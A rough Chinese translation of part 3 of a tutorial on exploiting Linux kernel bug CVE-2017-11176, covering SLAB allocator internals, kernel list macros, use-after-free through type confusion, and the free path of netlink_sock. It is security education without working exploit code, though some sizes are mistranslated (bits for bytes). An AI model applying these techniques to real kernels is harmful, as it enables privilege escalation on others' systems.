CVE-2017-11176: A step-by-step Linux Kernel exploitation (part 3/4)

这是第三部分的剩余部分的翻译,英语比较烂,很粗糙,建议结合原文一起看。
原文连接:https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html

介绍

在前面的文章中,我们对在用户空间触发bug进行了概念性的验证,删除了第一部分中用System Tap的修改。

这个文章从介绍内存子系统和SLAB分配器开始。如此庞大的一个主题,我们强烈建议读者用一些额外的资源来了解它。了解他们对利用所有的UAF漏洞或者说对溢出漏洞是绝对必要的。

我们会介绍基础的UAF原理,像利用他们所需的信息收集步骤。下一步,我们将会尝试在bug上应用它,然后分析可用的不同指令。
根据我们的再分配战略,我们打算使用把UAF转化成任意调用指令。最后,内核将会在一个受控的状态下惊慌(不会再有随机的crash)。

我们这儿用的技术是一个常用的在内核中利用UAF漏洞的技术(类型混淆)。此外,我们还选择了任意调用来利用UAF。因为硬编码,exp不会是任意情况都适用的,无法绕过KASLR(地址空见随机化的内核版本)。

注意同样的bug可以被其他不同的方式利用来获取其他操作(任意读/写),绕过kaslr/smap/smep(我们将会绕过smep在part4)。我们现在有概念验证代码,可以实际的创造一个exp。

作为补充,内核exp跑在一个非常混乱的环境中。它在前面的文章中不是问题,现在是了(再分配)。即,如果这儿有一个地方会让我们的exp失败(因为我们还没跑过),那么大多数时候不是意外。可靠的再分配是开放领域的主题,更多的复杂技巧在这个文章中不合适。

最后,以为内核数据结构布局现在很重要,调试/开发内核有很多不同,我们将会和system tap说再见,这意味着我们将会适用更传统的工具来调试内核。此外,你的结构布局将会和我们的不同,这儿提供的exp如果不修改不会在你的系统下有效果。

准备好去crash(很多次),这是一个快乐的开始:-)。

目录

1.核心内容
2.use-after_free 101
3.分析UAF(cache、allocation、free)
4.分析UAF(悬空指针)
5.利用(重新分配)
6.利用(任意调用)
7.总结

1.核心内容

第三部分的“核心内容”节尝试去介绍内存子系统(也被叫做“mm”)。这是一个很广阔的内容,书本仅仅只覆盖了内核的一小部分,推荐去阅读下面的一些资料。尽管如此,它将会提供linux内核的核心数据结构来管理内存,这样我们就能达成一致了(一语双关)。

  • Understanding the Linux Kernel (chapters 2,8,9)
  • Understanding The
  • Linux Virtual Memory Manager Linux Device Driver: Allocating Memory
  • OSDev: Paging

在核心内容节的最后,我们会介绍 container_of()宏,然后提供一个linux双向循环链表的通用利用方法。一个基本的例子会被用来理解list_for_each_entry_safe() 宏(强制使用)。

ps:可能会用到的宏,我先写在这儿
offsetof宏:判断结构体中成员的偏移位置
container_of宏:根据成员的地址反过来来获取结构体地址。
list_for_each_entry_safe():相当于遍历整个双向循环链表,遍历时会存下下一个节点的数据结构,方便对当前项进行删除。

1-1 物理页管理

所有操作系统中最重要的作业之一就是内存管理。它必须要快,安全,最小化碎片。不幸的是,大多数这些目标都是互斥的(安全就意味着性能差)。因为效率原因,物理内存把相邻的内存分为固定长度块。这个块叫做一个页框,有一个固定的4096位大小。它可以用PAGE_SIZE 宏检索到。

因为内核必须控制内存。所以它保持着每一个物理页框的追踪像他们的信息。举个例子,他们必须知道特定的页面是不是可用的,这些信息被记录在页面数据结构struct page(也被叫做页面描述符)。

内核可以用alloc_pages()申请一个或者多个相邻的页面,用free_pages()来释放他们。分区页框分配器用来管理内核的这些请求,通常使用的伙伴系统算法。所以也被叫做伙伴伙伴分配器。

1-2 slab分配器

伙伴分配器提供的大小不是所有情况都适用的。举个例子,如果内核只想要128位内存空间,它可能申请了一页,但是3968位内存将会被浪费。着叫做内部碎片。为了克服这个情况,linux提供了一个更小的分配器:Slab分配器。为了让它简单起见,在内核里Slab分配器负责类似malloc()/free()等函数的功能。

内核提供了三种slab分配器(只使用一个):

  • SLAB分配器:历史分配器,专注于硬件缓存优化(Debian仍然使用它)。
  • SLUB分配器:自2007年以来的“新”标准分配器(由Ubuntu / CentOS / Android使用)。
  • SLOB分配器:用于嵌入式系统的小内存。

NOTE:我们将会适用下面的命名规则:Slab是一个Slab分配器(它可以是SLAB,SLUB,SLOB)。SLAB(资本)是三个分配器中的一个。一个slab(小写)是一个Slab分配器适用的对象。

我们这里无法介绍所有的Slab分配器。我们的目标使用的SLAB 分配器有大量的完整文档说明可以查询。SLUB分配器似乎时最好理解的,没有用缓存着色,不追踪"full slab",没有内部和外部的slab管理等等。用下面的代码可以查看机器使用的Slab分配器。
grep “CONFIG_SL.B=” /boot/config-$(uname -r)

重新分配内存取决于Slab分配器,与SLUB相比,在SLAB上利用“use-after-free”更容易。换句话说,利用SLAB还有一个好处就是slab混淆(更多的对象被存在"general" kmemcaches)。
ps: kmemcache是memcache的linux内核移植版,具体的请看https://blog.csdn.net/hjxhjh/article/details/12000413

1-3 cache和slab

由于内核偏向于分配相同内存大小的对象,所有为了避免反复申请释放同一块内存,Slab分配器把相同大小的对象放在cache(一个已分配页框架的池)里面,cache用到的结构体时struct kmem_cache(缓存描述符)。

struct kmem_cache {// ...unsigned int        num;              // 每个slab中的对象数量unsigned int        gfporder;         // 一个slab对象包含连续页是2的几次方const char          *name;            // 这个cache的名字int                 obj_size;         // 管理的对象的大小struct kmem_list3   **nodelists;      // 维护三个链表empty/partial/full slabsstruct array_cache  *array[NR_CPUS];  // 每个cpu中空闲对象组成的数组
};

一个slab基本上是一个或者多个页。一个简单的slab持有num数量的对象,每个对象大小都是obj_size,例如一个页大小的slab可以有四个1kb的对象。

slab的状况是被 struct slab(slab管理结构)描述的。

struct slab {struct list_head list;          // 用于将slab链入kmem_list3的链表unsigned long colouroff;       // 该slab的着色偏移void *s_mem;                   // 指向slab中的第一个对象unsigned int inuse;             // 已经分配对象的数量kmem_bufctl_t free;             // 下一个未分配对象的下标unsigned short nodeid;            // 节点标识号
};

slab的数据结构对象(slab描述符)可以被存在slab内部或者另一个内存的位置。这样做的根本原因是减少外碎片。slab的数据结构对象具体别存在哪取决于缓存对象的大小,如果当前的对象大小小于512字节,那么会存在slab内部,否则会存在slab外部。

NOTE: internal/external stuff不需要被担心,我们在利用use-after-free。在另一方面,如果你要利用堆溢出,理解这个很有必要。

检索slab中对象的虚拟地址,可以直接通过s_mem(第一个对象的地址)加上偏移量获得。为了让他变得简单,所以第一个对象得地址就是s_mem,第二个就是s_mem + obj_size等等。其实上比这个更复杂,因为有"colouring" stuff (缓存着色相关的?不怎么理解),但是这个是题外话。

1-4 slabs内部管理和伙伴系统作用

当一个slab被创建的时候,Slab分配器向伙伴分配器申请物理页,当然,当他被销毁的时候,会把物理页面还给伙伴分配器。内存会降低slab的创建和销毁以提高效率。
NOTE:为什么gfporder (struct kmem_cache)是同一个slab相邻页面的对数,这是因为伙伴系统不用byte来分配大小,而是以2的几次幂来分配的。gfporder 为0,表示单页,为1表示相邻的两页,为2表示相邻的四页。

对于每一个cache,会保持三个双链表结构为了slabs。

  • full slabs:当前slab中的所有对象都被使用了。
  • free slabs:当前slab中的所有对象都是空的。 partial
  • slabs:当前slab中的部分对象被使用了。

这些页面被存储与描述符中,nodelists(struct kmem_cache),每个slab属于三个列表中的一个,并且能在自身情况改变后,在三个列表中进行切换。

为了减少与伙伴分配器的交互,SLAB分配器会保留一个有少量free slabs和partial slabs的池。当Slab分配器申请一个对象的时候,会先检索自己的池中是否有空闲的slab,如果没有就会调用cache_grow()方法向伙伴分配器申请更多的物理页,当然,如果Slab分配器发现自己的池中有太多的空闲slab,也会销毁一些slab将我i里也还给伙伴分配器。

1-5 每个cpu中的缓存数组

每次申请,Slab分配器需要扫描整个free slabs 或者 partial slabs。通过扫描整个列表来寻找空闲的空间是低效的。(这会要求一些锁,还需要去找偏移)

为了提高性能,Slab分配器保存一个队列指向空的对象。即struct array_cache,保存在缓存描述符中(struct kmem_cache)。

struct array_cache {unsigned int avail;       // 存放可用对象指针的数量也是当前空闲空闲数组的下标unsigned int limit;       // 最多可以存放的对象指针数量unsigned int batchcount;unsigned int touched;spinlock_t lock;void *entry[];            //  对象指针数组
};

ps:貌似最近的版本中entry[]变成了entry[0],entry[0]表示一个可变长度的数组。
array_cache 采用的是LIFO的数据结构,从漏洞利用者的角度来说,这是一个极好的方式,这也是为什么在SLAB和SLUB分配器下use-after-free是更容易利用。
最简单的申请内存:

static inline void *____cache_alloc(struct kmem_cache *cachep, gfp_t flags) // yes... four "_"
{void *objp;struct array_cache *ac;ac = cpu_cache_get(cachep);if (likely(ac->avail)) {STATS_INC_ALLOCHIT(cachep);ac->touched = 1;objp = ac->entry[--ac->avail];        // <-----}// ... cut ...return objp;
}

最简单的释放内存:

static inline void __cache_free(struct kmem_cache *cachep, void *objp)
{struct array_cache *ac = cpu_cache_get(cachep);// ... cut ...if (likely(ac->avail < ac->limit)) {STATS_INC_FREEHIT(cachep);ac->entry[ac->avail++] = objp;          // <-----return;}
}

简单来说,最好的情况下,申请和释放操作的复杂度只有O(1)。

WARNING:如果这个快捷的方式失败了,分配算法会回到慢的解决方案,即一个个遍历。

NOTE:每个cpu都有一个数组缓存,可以用cpu_cache_get()方法来获取,如此做可以减少锁的次数,从而提高性能。

NOTE:array cache中的每一个空闲的指针可能指向的是不容的slabs

1-6 通用和专用缓存

为了减少外碎片,内核创建缓存以2的次方的大小,这样确保内碎片小于50%的大小,事实上,当内核去申请指定大小的尺寸时,他会申请到最适合的内存大小,即申请100字节会给你128字节的内存空间。

在SLAB中,通用缓存会有前缀"size-"(size-32,size-64)。在SLUB中,通用缓存会有前缀"kmalloc-"(kmalloc-32)。由于我们觉得SLUB的前缀更好,所以我们通常用他哪怕我们的目标是SLAB。

内核使用kmalloc()和kfree()方法去申请和释放通用缓存。

因为有一些对象会被频繁的申请和释放,内核创建了一些特殊的专用缓存。例如file文件对象是非常常用的对象,他有自己的专用缓存(filp)。这些专用缓存的内碎片会接近于0。

内核使用kmem_cache_alloc()和kmem_cache_free()方法去申请和释放一块专用的内存空间。

在最后kmalloc()和kmem_cache_alloc()会变成 __cache_alloc()函数,当然kfree()和kmem_cache_free()会变成__cache_free()函数。

NOTE:你可以看到全部的cache清单和一些有用的信息,在/proc/slabinfo中。

1-7 container_of()宏

container_of()宏在linux内核的所有地方都被用到了。


#define container_of(ptr, type, member) ({          \const typeof( ((type *)0)->member ) *__mptr = (ptr);    \(type *)( (char *)__mptr - offsetof(type,member) );})//ptr 当前的地址
//type 所涉及的数据结构
//member 数据结构中的成员名

container_of()宏的意义在于利用结构成员的地址找回结构本身的地址。他使用两个宏:

  • typeof() - 定义编译时的类型
  • offsetof() - 查找结构中字段的偏移地址(以字节为单位)

也就是说,他利用他自己的当前段的地址减去他在该结构中的偏移地址。

1-8 使用双向循环列表

linux内核中广泛的使用到了双向循环列表,理解他对我们达到任意命令执行很必要,接下来我们会用一个具体的例子来理解双向循环列表的使用。这节结束时,你会明白list_for_each_entry_safe()宏的作用。

linux用以下结构处理双向循环列表:

struct list_head {struct list_head *next, *prev;
};

这个结构有两个作用:

  1. 代表双向循环列表本身。
  2. 代表列表中的一个元素。

INIT_LIST_HEAD()函数被用来创建双向循环列表,并将其next和prev指针都指向列表本身。

static inline void INIT_LIST_HEAD(struct list_head *list)
{list->next = list;list->prev = list;
}

我们先定义一个resource_owner结构体

struct resource_owner
{char name[16];struct list_head consumer_list;
};
void init_resource_owner(struct resource_owner *ro)
{strncpy(ro->name, "MYRESOURCE", 16);INIT_LIST_HEAD(&ro->consumer_list);
}

为了使用列表,每个列表成员的结构必须一致,即每个成员都必须有struct list_head字段。

struct resource_consumer
{int id;struct list_head list_elt;    // <----- this is NOT a pointer
};

成员可以被添加和删除通过list_add()和list_del()方法。

int add_consumer(struct resource_owner *ro, int id)
{struct resource_consumer *rc;if ((rc = kmalloc(sizeof(*rc), GFP_KERNEL)) == NULL)return -ENOMEM;rc->id = id;list_add(&rc->list_elt, &ro->consumer_list);return 0;
}

接下来,我们想要释放一个成员,但是这个列表中只有一个元素,所以我们可以直接用container_of()宏来辅助释放当前元素。因为我们需要释放整一个resource_consumer对象,但是列表中只有list_elt的地址,所以需要把列表中的list_elt地址取出来,用container_of()宏来取到resource_consumer的地址,然后调用kfree()。

void release_consumer_by_entry(struct list_head *consumer_entry)
{struct resource_consumer *rc;// "consumer_entry" points to the "list_elt" field of a "struct resource_consumer"rc = container_of(consumer_entry, struct resource_consumer, list_elt);list_del(&rc->list_elt);kfree(rc);
}

我们想要访问一个元素通过他的id,所以我们使用list_for_each()宏遍历列表。

#define list_for_each(pos, head) \for (pos = (head)->next; pos != (head); pos = pos->next)
//如果pos指针没有指到头节点,就继续往下。
#define list_entry(ptr, type, member) \container_of(ptr, type, member)

我们可以看到list_for_each()只提供了一个迭代器,所以我们仍然需要container_of()宏,但是一般用list_entry()宏,因为虽然功能一样,但是名字更好。

struct resource_consumer* find_consumer_by_id(struct resource_owner *ro, int id)
{struct resource_consumer *rc = NULL;struct list_head *pos = NULL;list_for_each(pos, &ro->consumer_list) {rc = list_entry(pos, struct resource_consumer, list_elt);if (rc->id == id)return rc;}return NULL; // not found
}

不得不申明list_head变量,使用list_entry()/container_of()宏有点复杂,所以出现了list_for_each_entry()宏(使用了list_first_entry() 和 list_next_entry()宏)

#define list_first_entry(ptr, type, member) \list_entry((ptr)->next, type, member)
//取出下一个指针的结构体本身的地址
#define list_next_entry(pos, member) \list_entry((pos)->member.next, typeof(*(pos)), member)
//取出结构体中的取出当前元素所在元素链表中的下一个,然后返回下一个元素的结构的指针
#define list_for_each_entry(pos, head, member)              \for (pos = list_first_entry(head, typeof(*pos), member);    \&pos->member != (head);                    \pos = list_next_entry(pos, member))
//c=typeof(*pos) 可以把c指向pos的数据类型

我们重写之前的代码,不再申明struct list_head。

struct resource_consumer* find_consumer_by_id(struct resource_owner *ro, int id)
{struct resource_consumer *rc = NULL;list_for_each_entry(rc, &ro->consumer_list, list_elt) {if (rc->id == id)return rc;}return NULL; // not found
}

接下来,如果我们要释放每一个成员,就会遇到两个问题:
我们release_consumer_by_entry()函数写的很烂,因为需要一个struct list_head指针。
list_for_each()宏是基于列表不变的基础上的。

我们无法再遍历列表时删除元素,这会让我们的use-after-free很难进行,所以我们使用 list_for_each_safe()宏来解决,他会预先读取下一个元素。

#define list_for_each_safe(pos, n, head) \for (pos = (head)->next, n = pos->next; pos != (head); \pos = n, n = pos->next)

这意味着我们需要两个struct list_head变量。

void release_all_consumers(struct resource_owner *ro)
{struct list_head *pos, *next;list_for_each_safe(pos, next, &ro->consumer_list) {release_consumer_by_entry(pos);}
}

最后一个是因为release_consumer_by_entry()写的很烂,所以我们我们用一个struct resource_consumer 指针作为参数。(不再使用container_of())

void release_consumer(struct resource_consumer *rc)
{if (rc){list_del(&rc->list_elt);kfree(rc);}
}

由于我们不用再使用struct list_head作为参数,所以利用 list_for_each_entry_safe()宏 重写release_all_consumers()函数

#define list_for_each_entry_safe(pos, n, head, member)          \for (pos = list_first_entry(head, typeof(*pos), member),    \n = list_next_entry(pos, member);           \&pos->member != (head);                    \pos = n, n = list_next_entry(n, member))

即:

void release_all_consumers(struct resource_owner *ro)
{struct resource_consumer *rc, *next;list_for_each_entry_safe(rc, next, &ro->consumer_list, list_elt) {release_consumer(rc);}
}

list_for_each_entry_safe()宏在很多方面都用到了,包括
我们去实现任意命令执行。我们甚至会在汇编中查看他(因为偏移量)。

2.use-after_free 101

这一小节将会讲解use-after-free的基本原理,包括一些使用的必要条件和最普遍的使用方法。

2-1 模式

这个漏洞的名字解释了所有的事,一个简单的例子:

int *ptr = (int*) malloc(sizeof(int));
*ptr = 54;
free(ptr);
*ptr = 42; // <----- use-after-free

这个bug产生的原因主要事没有人知道在在调用free(ptr)后,指针ptr指向内存中的什么。她被叫做悬空指针,读和写的操作事一个未定义的行为,在最好的情况下,他只是一个空操作,在最坏的情况下,他会让一个应用程序(或者内核)直接crash。

2-2 信息收集

将use-after-free用在内核中通常用的事相同的方案,在尝试去做之前,必须先回答以下几个问题:

  1. 分配器是什么,他怎么工作的?
  2. 我们在讨论的对象是什么?
  3. 他属于哪一个cache?其中的对象大小?是专用的cache还是普通的?
  4. 他在哪里申请和释放?
  5. 他在哪个位置有了free后进行了使用?做了什么(读/写)?

为了回答这些问题,谷歌的开发人员开发了一个很好的linux补丁:KASAN (Kernel Address SANitizer)。一个典型的输出是:

==================================================================
BUG: KASAN: use-after-free in debug_spin_unlock                             // <--- the "where"
kernel/locking/spinlock_debug.c:97 [inline]
BUG: KASAN: use-after-free in do_raw_spin_unlock+0x2ea/0x320
kernel/locking/spinlock_debug.c:134
Read of size 4 at addr ffff88014158a564 by task kworker/1:1/5712            // <--- the "how"CPU: 1 PID: 5712 Comm: kworker/1:1 Not tainted 4.11.0-rc3-next-20170324+ #1
Hardware name: Google Google Compute Engine/Google Compute Engine,
BIOS Google 01/01/2011
Workqueue: events_power_efficient process_srcu
Call Trace:                                                                 // <--- call trace that reach it__dump_stack lib/dump_stack.c:16 [inline] dump_stack+0x2fb/0x40f lib/dump_stack.c:52 print_address_description+0x7f/0x260 mm/kasan/report.c:250 kasan_report_error mm/kasan/report.c:349 [inline] kasan_report.part.3+0x21f/0x310 mm/kasan/report.c:372 kasan_report mm/kasan/report.c:392 [inline] __asan_report_load4_noabort+0x29/0x30 mm/kasan/report.c:392 debug_spin_unlock kernel/locking/spinlock_debug.c:97 [inline] do_raw_spin_unlock+0x2ea/0x320 kernel/locking/spinlock_debug.c:134 __raw_spin_unlock_irq include/linux/spinlock_api_smp.h:167 [inline] _raw_spin_unlock_irq+0x22/0x70 kernel/locking/spinlock.c:199 spin_unlock_irq include/linux/spinlock.h:349 [inline] srcu_reschedule+0x1a1/0x260 kernel/rcu/srcu.c:582 process_srcu+0x63c/0x11c0 kernel/rcu/srcu.c:600 process_one_work+0xac0/0x1b00 kernel/workqueue.c:2097 worker_thread+0x1b4/0x1300 kernel/workqueue.c:2231 kthread+0x36c/0x440 kernel/kthread.c:231 ret_from_fork+0x31/0x40 arch/x86/entry/entry_64.S:430 Allocated by task 20961:                                                      // <--- where is it allocatedsave_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:59 save_stack+0x43/0xd0 mm/kasan/kasan.c:515 set_track mm/kasan/kasan.c:527 [inline] kasan_kmalloc+0xaa/0xd0 mm/kasan/kasan.c:619 kmem_cache_alloc_trace+0x10b/0x670 mm/slab.c:3635 kmalloc include/linux/slab.h:492 [inline] kzalloc include/linux/slab.h:665 [inline] kvm_arch_alloc_vm include/linux/kvm_host.h:773 [inline] kvm_create_vm arch/x86/kvm/../../../virt/kvm/kvm_main.c:610 [inline] kvm_dev_ioctl_create_vm arch/x86/kvm/../../../virt/kvm/kvm_main.c:3161 [inline] kvm_dev_ioctl+0x1bf/0x1460 arch/x86/kvm/../../../virt/kvm/kvm_main.c:3205 vfs_ioctl fs/ioctl.c:45 [inline] do_vfs_ioctl+0x1bf/0x1780 fs/ioctl.c:685 SYSC_ioctl fs/ioctl.c:700 [inline] SyS_ioctl+0x8f/0xc0 fs/ioctl.c:691 entry_SYSCALL_64_fastpath+0x1f/0xbe Freed by task 20960:                                                          // <--- where it has been freedsave_stack_trace+0x16/0x20 arch/x86/kernel/stacktrace.c:59 save_stack+0x43/0xd0 mm/kasan/kasan.c:515 set_track mm/kasan/kasan.c:527 [inline] kasan_slab_free+0x6e/0xc0 mm/kasan/kasan.c:592 __cache_free mm/slab.c:3511 [inline] kfree+0xd3/0x250 mm/slab.c:3828 kvm_arch_free_vm include/linux/kvm_host.h:778 [inline] kvm_destroy_vm arch/x86/kvm/../../../virt/kvm/kvm_main.c:732 [inline] kvm_put_kvm+0x709/0x9a0 arch/x86/kvm/../../../virt/kvm/kvm_main.c:747 kvm_vm_release+0x42/0x50 arch/x86/kvm/../../../virt/kvm/kvm_main.c:758 __fput+0x332/0x800 fs/file_table.c:209 ____fput+0x15/0x20 fs/file_table.c:245 task_work_run+0x197/0x260 kernel/task_work.c:116 exit_task_work include/linux/task_work.h:21 [inline] do_exit+0x1a53/0x27c0 kernel/exit.c:878 do_group_exit+0x149/0x420 kernel/exit.c:982 get_signal+0x7d8/0x1820 kernel/signal.c:2318 do_signal+0xd2/0x2190 arch/x86/kernel/signal.c:808 exit_to_usermode_loop+0x21c/0x2d0 arch/x86/entry/common.c:157 prepare_exit_to_usermode arch/x86/entry/common.c:194 [inline] syscall_return_slowpath+0x4d3/0x570 arch/x86/entry/common.c:263 entry_SYSCALL_64_fastpath+0xbc/0xbe The buggy address belongs to the object at ffff880141581640 which belongs to the cache kmalloc-65536 of size 65536                         // <---- the object's cache
The buggy address is located 36644 bytes inside of 65536-byte region [ffff880141581640, ffff880141591640)
The buggy address belongs to the page:                                          // <---- even more info
page:ffffea000464b400 count:1 mapcount:0 mapping:ffff880141581640
index:0x0 compound_mapcount: 0
flags: 0x200000000008100(slab|head)
raw: 0200000000008100 ffff880141581640 0000000000000000 0000000100000001
raw: ffffea00064b1f20 ffffea000640fa20 ffff8801db800d00
page dumped because: kasan: bad access detected Memory state around the buggy address: ffff88014158a400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88014158a480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88014158a500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ^ ffff88014158a580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff88014158a600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================

NOTE:之前的错误报告是从syzkaller这个程序来的,另一个很好的工具。

不幸的是,你可能无法在你的环境下安装KASAN。据我们所知,KASAN要求最小的内核版本是4.x而且不支持所有架构的linux。既然这样,我们只能手动来做这个工作。

补充一下,KASAN只是展示use-after-free发生在哪。实际操作时,这儿会有更多的悬空指针(后面会讲到)。识别他们需要更多的代码审计。

2-3 通过类型混淆来利用use-after-free:

这儿有很多种方法去利用一个use-after-free的漏洞。例如,有一种时使用分配器元数据(allocator meta-data,不怎么懂这个什么意思)。在内核中用这个方法会有一点困难,他也增加了你在利用完漏洞后修复内核的难度。修复将会在part 4讲解,这步不能跳过,不然内核会在你利用结束后crash。

类型混淆是一个内核利用use-after-free的常用方法。类型混淆通常出现在内核误解一个数据的类型时。他使用一个数据(通常是指针)他以为是一种类型,但是他真正指向的是另一个数据类型。因为他发生在C语言,类型检查时在编译时完成的。cpu实际上不关心地址,他只是取消引用固定偏移的地址。

用类型混淆利用UAF漏洞基本的步骤是:

  1. 让内核处于一个合适的状态(让一个套接字准备去阻塞)
  2. 在确保悬空指针不受影响的同时释放目标对象,触发bug
  3. 立刻重新分配到你可以控制数据的对象
  4. 从悬空指针触发UAF
  5. ring0接管
  6. 修复内核和清空所有东西
  7. 享受这个过程

如果你制作一个恰当的exp,那么只有第三步会真正意义上的失败。我们可以看看为什么。

WARNING:用类型混淆触发的UAF的目标对象必须是通用缓存(cache)。如果不是这样也有办法处理,但是有一点高级,这里不讲了。

3.分析UAF(cache、allocation、free)

在这一节中我们会回答信息收集那一节中的问题

3-1 分配器是什么,他怎么工作的?

分配器是什么,他怎么工作的?

在我们的目标中,分配器是SLAB分配器。正如上面核心概念中谈到的一样,我们可以从内核配置文件中收集信息。另一个方法在/proc/slabinfo中是检查通用cache的名字。他们都有“size-”或者“kmalloc-”的前缀?

我们可以更好了解他的数据结构,特别是array_cache

NOTE:如果你之前没有掌握你的分配器(特别是 kmalloc()/kfree()的编程规范),现在是个很好的学习时间。

这个下面是我自己补充的一部分函数说明:
kmalloc:

kmalloc:
void *kmalloc(size_t size, gfp_t flags);第一个参数是要分配的块的大小,第二个参数是分配标志(flags),他提供了多种kmalloc的行为。
kmalloc() 申请的内存位于物理内存映射区域,而且在物理上也是连续的,它们与真实的物理地址只有一个固定的偏移,因为存在较简单的转换关系,所以对申请的内存大小有限制,不能超过128KB。
较常用的 flags(分配内存的方法):
GFP_ATOMIC —— 分配内存的过程是一个原子过程,分配内存的过程不会被(高优先级进程或中断)打断;
GFP_KERNEL —— 正常分配内存;
GFP_DMA —— 给 DMA 控制器分配内存,需要使用该标志(DMA要求分配虚拟地址和物理地址连续)

kfree:

kfree:
void kfree(const void *objp);

kzalloc():

kzalloc():*kzalloc(size_t size, gfp_t flags){    return kmalloc(size, flags | __GFP_ZERO);}
kzalloc() 函数与 kmalloc() 非常相似,参数及返回值是一样的,可以说是前者是后者的一个变种,因为 kzalloc() 实际上只是额外附加了 __GFP_ZERO 标志。所以它除了申请内核内存外,还会对申请到的内存内容清零。
kzalloc() 对应的内存释放函数也是 kfree()。

vmalloc():

vmalloc():
void *vmalloc(unsigned long size);vmalloc() 函数则会在虚拟内存空间给出一块连续的内存区,但这片连续的虚拟内存在物理内存中并不一定连续。由于 vmalloc() 没有保证申请到的是连续的物理内存,因此对申请的内存大小没有限制,如果需要申请较大的内存空间就需要用此函数了
对应的内存释放函数为:
void vfree(const void *addr);

注意:vmalloc() 和 vfree() 可以睡眠,因此不能从中断上下文调用。

3-2 我们在讨论的对象是什么?

这个在前两节已经被讨论的很清楚了,我们UAF的对象就是struct netlink_sock。他又很清晰的定义:

struct netlink_sock {/* struct sock has to be the first member of netlink_sock */struct sock     sk;u32         pid;u32         dst_pid;u32         dst_group;u32         flags;u32         subscriptions;u32         ngroups;unsigned long       *groups;unsigned long       state;wait_queue_head_t   wait;struct netlink_callback *cb;struct mutex        *cb_mutex;struct mutex        cb_def_mutex;void            (*netlink_rcv)(struct sk_buff *skb);struct module       *module;
};

这个在我们的例子里面很明显。有时,可能需要花一会儿去计算出UAF的对象。特别是,当一个特定的对象有各种子对象的所有权(他掌握他们的生命周期)。UAF可能会依赖于其中的一个子对象(不是最重要的一个)。

3-3 他在哪里释放:

在第一部分中,我们看到the netlink’s sock的计数器被置为1在进入entering mq_notify()的时候。参考计数器通过netlink_getsockbyfilp()来增加一,通过netlink_attachskb()来减少一,在另一时间又通过netlink_detachskb()来减少一。给我们以下的路径:

- mq_notify
- netlink_detachskb
- sock_put          // <----- atomic_dec_and_test(&sk->sk_refcnt)和sk_free()

因为计数器清零了,所以他被sk_free()释放了:

void sk_free(struct sock *sk)
{/** We subtract one from sk_wmem_alloc and can know if* some packets are still in some tx queue.* If not null, sock_wfree() will call __sk_free(sk) later*/if (atomic_dec_and_test(&sk->sk_wmem_alloc))__sk_free(sk);
}

记住sk->sk_wmem_alloc是当前的发送缓存区。当整个netlink_sock初始化期间,这被设置为1。因为我们没有从目标套接字发送任何消息,在进入sk_free()时,他依然是1。在这里,他被叫做_sk_free():

      // [net/core/sock.c]static void __sk_free(struct sock *sk){struct sk_filter *filter;[0]     if (sk->sk_destruct)sk->sk_destruct(sk);// ... cut ...[1]     sk_prot_free(sk->sk_prot_creator, sk);}
注意这里面的sk_prot_creator是基于虚函数表proto_ops来实现的

在[0]中,__sk_free()给了sock调用“专门”析构函数的机会。在[1]中,他用struct proto数据类型的sk_prot_create()来调用sk_prot_free()(不懂这句话?谷歌是这么翻译的。。。),最后这个对象根据cache来释放(下一节)。

static void sk_prot_free(struct proto *prot, struct sock *sk)
{struct kmem_cache *slab;struct module *owner;owner = prot->owner;slab = prot->slab;security_sk_free(sk);if (slab != NULL)kmem_cache_free(slab, sk);    // <----- this one or...elsekfree(sk);                    // <----- ...this one ?module_put(owner);
}
这个函数主要是把sock所在的cache整个释放掉了。

这是最后的释放过程:

- <<< what ever calls sock_put() on a netlink_sock (e.g. netlink_detachskb()) >>>
- sock_put
- sk_free
- __sk_free
- sk_prot_free
- kmem_cache_free or kfree

NOTE:记住所有的sk和netlink_sock的地址别名。即释放struct sock指针将会释放整个netlink_sock对象。

我们需要分析他最后一个调用的函数。因此,我们需要知道他属于哪个cache。

3-4 他属于哪一个cache呢?

记住linux是一个非常抽象的面向对象的操作系统。我们已经看到了多层次的抽象概念,也因此而很专业(查看核心概念部分就可得知)。

struct proto提供了另一个抽象的层次,我们有:

  • socket的文件类型(struct file)专用:socket_file_ops
  • netlink的BSD套接字 (struct socket) 专用:netlink_ops
  • netlink的sock(struct sock)专用:netlink_proto 和 netlink_family_ops

NOTE:我们下一节会回到netlink_family_ops

不像是socket_file_ops和netlink_ops都仅仅是VFT(虚函数表),struct proto是更复杂的。他当然维持一个VFT,但是他也提供了一些信息关于struct sock的生命周期。特别是一个特殊的sock对象是专门被分配的。

就我们的例子而言,最重要的两个字段是slab和obj_size:

// [include/net/sock.h]struct proto {struct kmem_cache *slab;      // the "dedicated" cache (if any)unsigned int obj_size;        // the "specialized" sock object sizestruct module *owner;         // used for Linux module's refcountingchar name[32];// ...
}

对于netlink_sock对象,struct proto是netlink_proto

static struct proto netlink_proto = {.name     = "NETLINK",.owner    = THIS_MODULE,.obj_size = sizeof(struct netlink_sock),
};

这个obj_size不是最后的申请的大小,只是他的一部分(下一节会讲到)。

正如我们所看到的大量的字段是留空的(null)。这是不是表明netlink_proto没有一个专门的cache?我们无法准确的判定因为slab字段只有在协议注册的时候才定义。我们不会细讲协议注册的内容,但是我们需要了解一些。

在linux中,network模块要么是在开机的时候装载,要么是懒加载的(第一次有一个专门的soclet被使用)。两种情况下,init()函数都会被调用,在netlink的例子中,这个函数被叫做netlink_proto_init()。他至少被调用两次:

  1. 调用proto_register(&netlink_proto, 0)
  2. 调用sock_register(&netlink_family_ops)

proto_register()表明这个协议是否使用一个专门的cache。如果是的,他创造一个专门的kmem_cache,不然他会使用一个通常意义的caches。这个决定alloc_slab的范围(第二点)。实现:

// [net/core/sock.c]int proto_register(struct proto *prot, int alloc_slab)
